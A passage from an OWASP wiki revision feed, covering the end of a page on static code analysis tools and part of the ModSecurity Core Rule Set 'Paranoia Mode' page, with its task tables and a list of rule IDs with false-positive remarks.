;&lt;br /&gt;
T_CLOSE_TAG&lt;br /&gt;
 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Strengths and Weaknesses==&lt;br /&gt;
&lt;br /&gt;
=== Strengths ===&lt;br /&gt;
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))&lt;br /&gt;
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.&lt;br /&gt;
&lt;br /&gt;
=== Weaknesses ===&lt;br /&gt;
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.&lt;br /&gt;
* High numbers of false positives.&lt;br /&gt;
* Frequently can't find configuration issues, since they are not represented in the code.&lt;br /&gt;
* Difficult to 'prove' that an identified security issue is an actual vulnerability.&lt;br /&gt;
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.&lt;br /&gt;
&lt;br /&gt;
==Limitations==&lt;br /&gt;
&lt;br /&gt;
===False Positives===&lt;br /&gt;
A static code analysis tool will often produce false positive results where the tool reports a possible vulnerability that in fact is not. This often occurs because the tool cannot be sure of the integrity and security of data as it flows through the application from input to output.&lt;br /&gt;
&lt;br /&gt;
False positive results might be reported when analysing an application that interacts with closed source components or external systems because without the source code it is impossible to trace the flow of data in the external system and hence ensure the integrity and security of the data.&lt;br /&gt;
&lt;br /&gt;
===False Negatives===&lt;br /&gt;
The use of static code analysis tools can also result in false negative results where vulnerabilities result but the tool does not report them. This might occur if a new vulnerability is discovered in an external component or if the analysis tool has no knowledge of the runtime environment and whether it is configured securely.&lt;br /&gt;
&lt;br /&gt;
==Important Selection Criteria==&lt;br /&gt;
&lt;br /&gt;
* Requirement: Must support your language, but not usually a key factor once it does.&lt;br /&gt;
* Types of Vulnerabilities it can detect (The OWASP Top Ten?) (more?)&lt;br /&gt;
* Does it require a fully buildable set of source?&lt;br /&gt;
* Can it run against binaries instead of source?&lt;br /&gt;
* Can it be integrated into the developer's IDE?&lt;br /&gt;
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)&lt;br /&gt;
* Does it support Object-oriented programming (OOP)?&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===RIPS PHP Static Code Analysis Tool===&lt;br /&gt;
[[File:Rips.jpg|400px|thum|]]&lt;br /&gt;
&lt;br /&gt;
===OWASP LAPSE+ Static Code Analysis Tool===&lt;br /&gt;
[[File:LapsePlusScreenshot.png|400px|thum|]]&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
===OWASP Tools===&lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Software&lt;br /&gt;
! Language(s)&lt;br /&gt;
|-&lt;br /&gt;
| [[:Category:OWASP_Code_Crawler|OWASP Code Crawler]]&lt;br /&gt;
| .NET, Java&lt;br /&gt;
|-&lt;br /&gt;
| [[:Category:OWASP_Orizon_Project|OWASP Orizon Project]]&lt;br /&gt;
| Java&lt;br /&gt;
|-&lt;br /&gt;
| [[OWASP LAPSE Project]]&lt;br /&gt;
| Java&lt;br /&gt;
|-&lt;br /&gt;
| [[OWASP O2 Platform]]&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [[OWASP WAP-Web Application Protection]]&lt;br /&gt;
| PHP&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Open Source/Free ===&lt;br /&gt;
&lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Software&lt;br /&gt;
! Language(s)&lt;br /&gt;
|-&lt;br /&gt;
| [https://sourceforge.net/projects/agnitiotool/ Agnitio]&lt;br /&gt;
| ASP, ASP.NET, C#, Java, Javascript, Perl, PHP, Python, Ruby, VB.NET, XML&lt;br /&gt;
|-&lt;br /&gt;
| [https://brakemanscanner.org/ Brakeman]&lt;br /&gt;
| Ruby, Rails&lt;br /&gt;
|-&lt;br /&gt;
| [http://www.devbug.co.uk DevBug]&lt;br /&gt;
| PHP&lt;br /&gt;
|-&lt;br /&gt;
| [http://findbugs.sourceforge.net/ FindBugs]&lt;br /&gt;
| Java&lt;br /&gt;
|-&lt;br /&gt;
| [https://find-sec-bugs.github.io/ Find Security Bugs]&lt;br /&gt;
| Java, Scala, Groovy&lt;br /&gt;
|-&lt;br /&gt;
| [https://dwheeler.com/flawfinder/ FlawFinder]&lt;br /&gt;
| C, C++&lt;br /&gt;
|-&lt;br /&gt;
| [https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-3.0/bb429476(v=vs.80) Microsoft FxCop]&lt;br /&gt;
| .NET&lt;br /&gt;
|-&lt;br /&gt;
| [https://security-code-scan.github.io/ .NET Security Guard]&lt;br /&gt;
| .NET, C#, VB.net&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.bishopfox.com/resources/tools/google-hacking-diggity/attack-tools/ Google CodeSearchDiggity]&lt;br /&gt;
| Multiple&lt;br /&gt;
|-&lt;br /&gt;
| [https://pmd.github.io/ PMD]&lt;br /&gt;
| Java, JavaScript, Salesforce.com Apex and Visualforce, PLSQL, Apache Velocity, XML, XSL&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.pumascan.com/ Puma Scan]&lt;br /&gt;
| .NET, C#&lt;br /&gt;
|-&lt;br /&gt;
| [https://docs.microsoft.com/en-us/previous-versions/windows/embedded/ms933794(v=msdn.10) Microsoft PREFast]&lt;br /&gt;
| C, C++&lt;br /&gt;
|-&lt;br /&gt;
| [https://sonarcloud.io/about SonarCloud]&lt;br /&gt;
| ABAP, C, C++, Objective-C, COBOL, C#, CSS, Flex, Go, HTML, Java, Javascript, Kotlin, PHP, PL/I, PL/SQL, Python, RPG, Ruby, Swift, T-SQL, TypeScript, VB6, VB, XML&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.splint.org/ Splint]&lt;br /&gt;
| C&lt;br /&gt;
|-&lt;br /&gt;
| [https://sourceforge.net/projects/visualcodegrepp/ VisualCodeGrepper]&lt;br /&gt;
| C/C++, C#, VB, PHP, Java, PL/SQL&lt;br /&gt;
|-&lt;br /&gt;
| [http://rips-scanner.sourceforge.net/ RIPS]&lt;br /&gt;
| PHP&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/FloeDesignTechnologies/phpcs-security-audit phpcs-security-audit]&lt;br /&gt;
| PHP&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Commercial ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Software&lt;br /&gt;
! Language(s)&lt;br /&gt;
! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.microfocus.com/en-us/products/static-code-analysis-sast/overview Fortify]&lt;br /&gt;
| ABAP/BSP, ActionScript/MXML (Flex), ASP.NET, VB.NET, C# (.NET), C/C++, Classic ASP (w/VBScript), COBOL, ColdFusion CFML, HTML, Java (including Android), JavaScript/AJAX, JSP, Objective-C, PHP, PL/SQL, Python, T-SQL, Ruby, Swift, Visual Basic, VBScript, XML&lt;br /&gt;
| OWASP Member&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.veracode.com/ Veracode]&lt;br /&gt;
| Android, ASP.NET, C#, C, C++, Classic ASP, COBOL, ColdFusion/Java, Go, Groovy, iOS, Java, JavaScript, Perl, PhoneGap/Cordova, PHP, Python, React Native, RPG, Ruby on Rails, Scala, Titanium, TypeScript, VB.NET, Visual Basic 6, Xamarin&lt;br /&gt;
| OWASP Member&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.grammatech.com/ CodeSonar]&lt;br /&gt;
| C, C++, Java&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.parasoft.com/ ParaSoft]&lt;br /&gt;
| C, C++, Java, .NET&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;s&amp;gt;[http://www.armorize.com/codesecure/ Armorize CodeSecure]&amp;lt;/s&amp;gt;&lt;br /&gt;
|&lt;br /&gt;
| OWASP Member; acquired by Proofpoint in 2013&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.checkmarx.com/ Checkmarx Static Code Analysis]&lt;br /&gt;
| Android, Apex, ASP.NET, C#, C++, Go, Groovy, HTML5, Java, JavaScript, JSP, .NET, Objective-C, Perl, PHP, PL/SQL, Python, Ruby, Scala, Swift, TypeScript, VB.NET, Visual Basic 6, Windows Phone&lt;br /&gt;
| OWASP Member&lt;br /&gt;
|-&lt;br /&gt;
| [https://www.ibm.com/us-en/marketplace/ibm-appscan-source IBM AppScan Source]&lt;br /&gt;
| &lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html Coverity]&lt;br /&gt;
| Android, C#, C, C++, Java, JavaScript, Node.js, Objective-C, PHP, Python, Ruby, Scala, Swift, VB.NET&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.viva64.com/en/pvs-studio/ PVS-Studio]&lt;br /&gt;
| C, C++, C#&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://pumascan.com/pricing/ Puma Scan Professional]&lt;br /&gt;
| C#&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.roguewave.com/products-services/klocwork/static-code-analysis Klocwork]&lt;br /&gt;
| C, C++, C#, Javaa&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.mathworks.com/products/polyspace.html Polyspace Static Analysis]&lt;br /&gt;
| C, C++, Ada&lt;br /&gt;
| &lt;br /&gt;
|-&lt;br /&gt;
| [https://www.ripstech.com/ RIPS NextGen]&lt;br /&gt;
| PHP&lt;br /&gt;
| &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Other Tool Lists===&lt;br /&gt;
&lt;br /&gt;
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html NIST - Source Code Security Analyzers]&lt;br /&gt;
* [http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis Wikipedia - List of tools for static code analysis]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
[0] {{cite web |url=http://www.software-supportability.org/Docs/00-55_Part_2.pdf |title=Requirements for Safety Related Software in Defence Equipment |date=August 1, 1997 |format=pdf |publisher=Ministry of Defence |access-date=December 17, 2018}}&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf OWASP Code Review Guide v1.1]&lt;br /&gt;
* http://www.crosstalkonline.org/storage/issue-archives/2003/200311/200311-German.pdf&lt;br /&gt;
* http://www.ida.liu.se/~TDDC90/papers/industrial95.pdf&lt;br /&gt;
* http://www.php-security.org/downloads/rips.pdf&lt;br /&gt;
* http://www.seclab.tuwien.ac.at/papers/pixy.pdf&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|&lt;br /&gt;
In addition, one should classify control based on the following subcategories: Ex:&amp;lt;nowiki&amp;gt;[[Category:Error Handling Control]]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Availability Control&lt;br /&gt;
Authorization Control&lt;br /&gt;
Authentication Control&lt;br /&gt;
Concurrency Control&lt;br /&gt;
Configuration Control&lt;br /&gt;
Cryptographic Control&lt;br /&gt;
Encoding Control&lt;br /&gt;
Error Handling Control&lt;br /&gt;
Input Validation Control&lt;br /&gt;
Logging and Auditing Control&lt;br /&gt;
Session Management Control&lt;br /&gt;
]]&lt;br /&gt;
__FORCETOC__&lt;br /&gt;
&lt;br /&gt;
[[Category:Control]]&lt;/div&gt;</summary>
		<author><name>Christina Schelin</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_ModSec_CRS_Paranoia_Mode&amp;diff=238683</id>
		<title>OWASP ModSec CRS Paranoia Mode</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_ModSec_CRS_Paranoia_Mode&amp;diff=238683"/>
				<updated>2018-03-16T17:45:58Z</updated>
		
		<summary type="html">&lt;p&gt;Christina Schelin: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Abstract==&lt;br /&gt;
&lt;br /&gt;
This is a page about the development of a paranoia mode aka bringing back the rules that used to yield a high number of false positives. This little project is aimed at inclusion into the 3.0.0 release of the OWASP ModSecurity Core Rules, where some rules have been removed in order to reduce the number of false positives with vanilla installations.&lt;br /&gt;
&lt;br /&gt;
FIXME: Detailed description&lt;br /&gt;
&lt;br /&gt;
''Back to the [[:Category:OWASP_ModSecurity_Core_Rule_Set_Project|OWASP ModSecurity Core Rules Set]].''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Sub-Project Infos==&lt;br /&gt;
&lt;br /&gt;
* '''Status''': active (January 2016)&lt;br /&gt;
* '''Schedule''': '''DONE''' (we're all done and Paranoia Mode made it into the CRS3 release.&lt;br /&gt;
* '''Who''': Christian Folini (dune73), Noël Zindel (zino), Franziska Bühler (franziskabuehler), Manuel Leos (Spartan), Walter Hop (lifeforms)&lt;br /&gt;
* '''Documentation''': Here on the [https://www.owasp.org/index.php/OWASP_ModSec_CRS_Paranoia_Mode OWASP Wiki] / [https://www.netnea.com/cms/2016/02/04/owasp-modsecurity-core-rules-paranoia-mode-mechanics-proposal/ Mechanics Proposal]&lt;br /&gt;
* '''Discussion / Archive''': &amp;lt;tt&amp;gt;owasp-modsecurity-core-rule-set@lists.owasp.org&amp;lt;/tt&amp;gt; / archive: http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/&lt;br /&gt;
* '''Github Link v3.0.0-rc1 (our base)''': https://github.com/SpiderLabs/owasp-modsecurity-crs/tree/v3.0.0-rc1&lt;br /&gt;
* '''Github Link paranoia-mode''': https://github.com/dune73/owasp-modsecurity-crs/tree/paranoia-mode&lt;br /&gt;
* '''Final Pull Request #1: Add paranoia mode mechanics''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/292 MERGED&lt;br /&gt;
* '''Final Pull Request #2: Move first rules to paranoia mode''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/300 MERGED&lt;br /&gt;
* '''Final Pull Request #3: Add 2.2.X rules to paranoia mode''': https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/308 MERGED&lt;br /&gt;
* '''Final Pull Request #4: Add stricter siblings''': FIXME&lt;br /&gt;
&lt;br /&gt;
==Tasks==&lt;br /&gt;
&lt;br /&gt;
===Open Tasks===&lt;br /&gt;
&lt;br /&gt;
Please define state as follows: ''new'', ''assigned'', ''waiting'', ''closed''. When a task is closed, it is moved to the seperate closed tasks table below.&lt;br /&gt;
&lt;br /&gt;
{|- class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
  |'''Task'''&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Who'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Status'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
  | Write pull request number 4&lt;br /&gt;
  | n.n.&lt;br /&gt;
  | new&lt;br /&gt;
|-&lt;br /&gt;
  | Submit pull request number 4&lt;br /&gt;
  | n.n.&lt;br /&gt;
  | new&lt;br /&gt;
|-&lt;br /&gt;
  | Draw flowchart&lt;br /&gt;
  | n.n.&lt;br /&gt;
  | new&lt;br /&gt;
|-&lt;br /&gt;
  | Write documentation&lt;br /&gt;
  | Christian&lt;br /&gt;
  | new&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
===Closed Tasks===&lt;br /&gt;
&lt;br /&gt;
{|- class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
  |'''Task'''&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Who'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Status'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of rules, which triggered false positives in 2.2.X frequently&lt;br /&gt;
  | Christian&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of 2.2.x rules, which have disappeared from 3.0.0-rc1&lt;br /&gt;
  | Spartan&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of 3.0.0-rc1 rules, which could be accompanied with&amp;lt;br /&amp;gt;stricter siblings in paranoia mode&amp;lt;br /&amp;gt;(same idea of the rule, but harder limit etc.)&lt;br /&gt;
  | Christian&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of 3.0.0-rc1 rules, which could be moved to the paranoia mode&lt;br /&gt;
  | Franziska&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of disappeared / missing 2.2.X base_rules, which should be brought back&lt;br /&gt;
  | group&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Assemble list of 2.2.X optional and experimental rules, which should be brought back&lt;br /&gt;
  | group&lt;br /&gt;
  | closed (could be repeated more throughly)&lt;br /&gt;
|-&lt;br /&gt;
  | Nail down final list of rules which should be moved / recreated into the paranoia mode&lt;br /&gt;
  | group&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Sort out mechanics of the paranoia mode&lt;br /&gt;
  | Christian&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Write new stricter siblings for existing rules&lt;br /&gt;
  | Noël&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Define ID-space for strict siblings&lt;br /&gt;
  | Fraziska, group&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Define exact syntax of paranoia mode setup&lt;br /&gt;
  | Christian, group&lt;br /&gt;
  | closed&lt;br /&gt;
|-&lt;br /&gt;
  | Sort out name: Is &amp;quot;Paranoia Mode&amp;quot; really the right term?&lt;br /&gt;
  | Christian, group&lt;br /&gt;
  | closed&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Rules==&lt;br /&gt;
&lt;br /&gt;
===Paranoia Mode Candidates===&lt;br /&gt;
&lt;br /&gt;
The 3.0.0-rc1 has all rules renumbered. Existing numbering was fairly crazy and the new numbering follows the numbering scheme of the rules files (-&amp;gt; 9&amp;lt;2-digit-rulefile&amp;gt;&amp;lt;3-digit-id&amp;gt;)&lt;br /&gt;
A mapping table exists [[https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/v3.0.0-rc1/id_renumbering/IdNumbering.csv IdNumbering.csv]]&lt;br /&gt;
We need to make sure, we do not mess things up, so let's add both IDs to the table, the old one and the new one.&lt;br /&gt;
&lt;br /&gt;
Please set status as follows : ''confirmed'',''candidate'', ''cloning-confirmed'',''cloning-candidate'', ''unsure'', ''dropped''. &lt;br /&gt;
* 'cloning-confirmed', 'cloning-candidates' are rules, that could be cloned into an even stricter variant with a stricter limit in a higher paranoia setting.&lt;br /&gt;
* If dropped, please provide reasoning in the remarks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{|- class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
  |'''RuleID 2.2.x'''&lt;br /&gt;
  |'''RuleID 3.0.0-rc1'''&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''msg'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Status'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
  | &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;'''Remarks'''&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&lt;br /&gt;
|-&lt;br /&gt;
  | 950001&lt;br /&gt;
  | 942150&lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: @pmf file with very short function names, could match frequently.&lt;br /&gt;
|-&lt;br /&gt;
  | 950109&lt;br /&gt;
  | 920230&lt;br /&gt;
  | Multiple URL Encoding Detected&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 950120&lt;br /&gt;
  | 931130&lt;br /&gt;
  | Possible Remote File Inclusion (RFI) Attack: Off-Domain Reference/Link&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Walter's 2.2.X candidate: many FP; Chrstian: hardly any FPs; &amp;lt;br/&amp;gt;discussion concluded, that rule should end up in paranoia mode, possibly with additional conditions to reduce FPs (scope outside of this paranoia mode project)&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001885.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 960335&lt;br /&gt;
  | 920380&lt;br /&gt;
  | Too many arguments in request&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Walter's 2.2.X candidate: some FP (phpMyAdmin, large forms), alternatively would recommend raising &amp;lt;code&amp;gt;tx.max_num_args&amp;lt;/code&amp;gt; to 1000&lt;br /&gt;
|-&lt;br /&gt;
  | 950901&lt;br /&gt;
  | 942130&lt;br /&gt;
  | SQL Injection Attack: SQL Tautology Detected.&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: legitimate sentences could match. Walter's 2.2.x experience: many FP in natural text however the rule seems to have merit&lt;br /&gt;
|-&lt;br /&gt;
  | 950916&lt;br /&gt;
  | 921170&lt;br /&gt;
  | HTTP Header Injection Attack via payload (CR/LF detected)&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Franziska's candidate: change action from pass to block and move to paranoia mode.&lt;br /&gt;
|-&lt;br /&gt;
  | 959070&lt;br /&gt;
  | gone -&amp;gt; 942380  &lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 959071&lt;br /&gt;
  | gone -&amp;gt; 942390 &lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 959072&lt;br /&gt;
  | gone -&amp;gt; 942400  &lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 959073&lt;br /&gt;
  | gone -&amp;gt; 942410  &lt;br /&gt;
  | SQL Injection Attack&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 960015&lt;br /&gt;
  | 920300&lt;br /&gt;
  | Request Missing an Accept Header&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Also Franziska's candidate: Not every legitimate client behaves correctly. Walter's experience: many FP (PHP SoapClient)&amp;lt;br/&amp;gt;Discussion concluded it's moved to paranoia mode.&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001888.html Link to discussion]&amp;lt;br/&amp;gt;Spartan: Many mobile devices do not send this header, very high FP.&lt;br /&gt;
|-&lt;br /&gt;
  | 960024&lt;br /&gt;
  | gone -&amp;gt; 942460 &lt;br /&gt;
  | Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 960035&lt;br /&gt;
  | 920440&lt;br /&gt;
  | URL file extension is restricted by policy&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives&lt;br /&gt;
|-&lt;br /&gt;
  | 970901&lt;br /&gt;
  | 950100&lt;br /&gt;
  | The Application Returned a 500-Level Status Code&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Franziska's candidate: too strict, too generic, no data leakage happened so far. Walter: it's useful however to prevent attacker from distinguishing between a failed SQLi attempt (403 blocked by ModSec) or a query error due to vulnerable app (500 from application); &amp;lt;br/&amp;gt;Discussion resolved with move to paranoia mode. 403 will cloak a backend error, which is hard for an inexperienced admin and thus complicates things in standard installations&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001889.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 973300&lt;br /&gt;
  | gone -&amp;gt; 941320 &lt;br /&gt;
  | Possible XSS Attack Detected - HTML Tag Handler&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: low FP&lt;br /&gt;
|-&lt;br /&gt;
  | 973332&lt;br /&gt;
  | gone -&amp;gt; 941330 &lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: low FP&lt;br /&gt;
|-&lt;br /&gt;
  | 973333&lt;br /&gt;
  | gone -&amp;gt; 941340 &lt;br /&gt;
  | IE XSS Filters - Attack Detected.&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: low FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981172&lt;br /&gt;
  | gone -&amp;gt; 942420 &lt;br /&gt;
  | Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: very high FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981173&lt;br /&gt;
  | gone -&amp;gt; 942430 &lt;br /&gt;
  | Restricted SQL Character Anomaly Detection Alert - Total # of special characters exceeded&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: very high FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981231&lt;br /&gt;
  | gone -&amp;gt; 942440 &lt;br /&gt;
  | SQL Comment Sequence Detected.&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: high FP but rule seems useful&lt;br /&gt;
|-&lt;br /&gt;
  | 981240&lt;br /&gt;
  | 942300&lt;br /&gt;
  | Detects MySQL comments, conditions and ch(a)r injections&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: low FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981242&lt;br /&gt;
  | 942330&lt;br /&gt;
  | Detects classic SQL injection probings 1/2&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Also Franziska's candidate: one quote character already matches?? Walter: low FP, but seen in cookies injected by some US ISPs; &lt;br /&gt;
|-&lt;br /&gt;
  | 981243&lt;br /&gt;
  | 942370&lt;br /&gt;
  | Detects classic SQL injection probings 2/2&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: very frequently false positives. Walter: medium FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981244&lt;br /&gt;
  | 942180&lt;br /&gt;
  | Detects basic SQL authentication bypass attempts 1/3&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: low FP; &amp;lt;br/&amp;gt; discussion did not bring up additional arguments. Moving to paranoia mode&amp;lt;br/&amp;gt;[http://lists.owasp.org/pipermail/owasp-modsecurity-core-rule-set/2016-February/001890.html Link to discussion]&lt;br /&gt;
|-&lt;br /&gt;
  | 981245&lt;br /&gt;
  | 942260&lt;br /&gt;
  | Detects basic SQL authentication bypass attempts 2/3&lt;br /&gt;
  | confirmed&lt;br /&gt;
  | Christian's 2.2.X experience: frequently false positives. Walter: medium FP&lt;br /&gt;
|-&lt;br /&gt;
  | 981246&lt;br /&gt;
  | 942340&lt;br /&gt;
  | Detects basic SQL authentication bypass attempts 3/3&lt;br /&gt;
  | confirmed&lt;br /&gt;
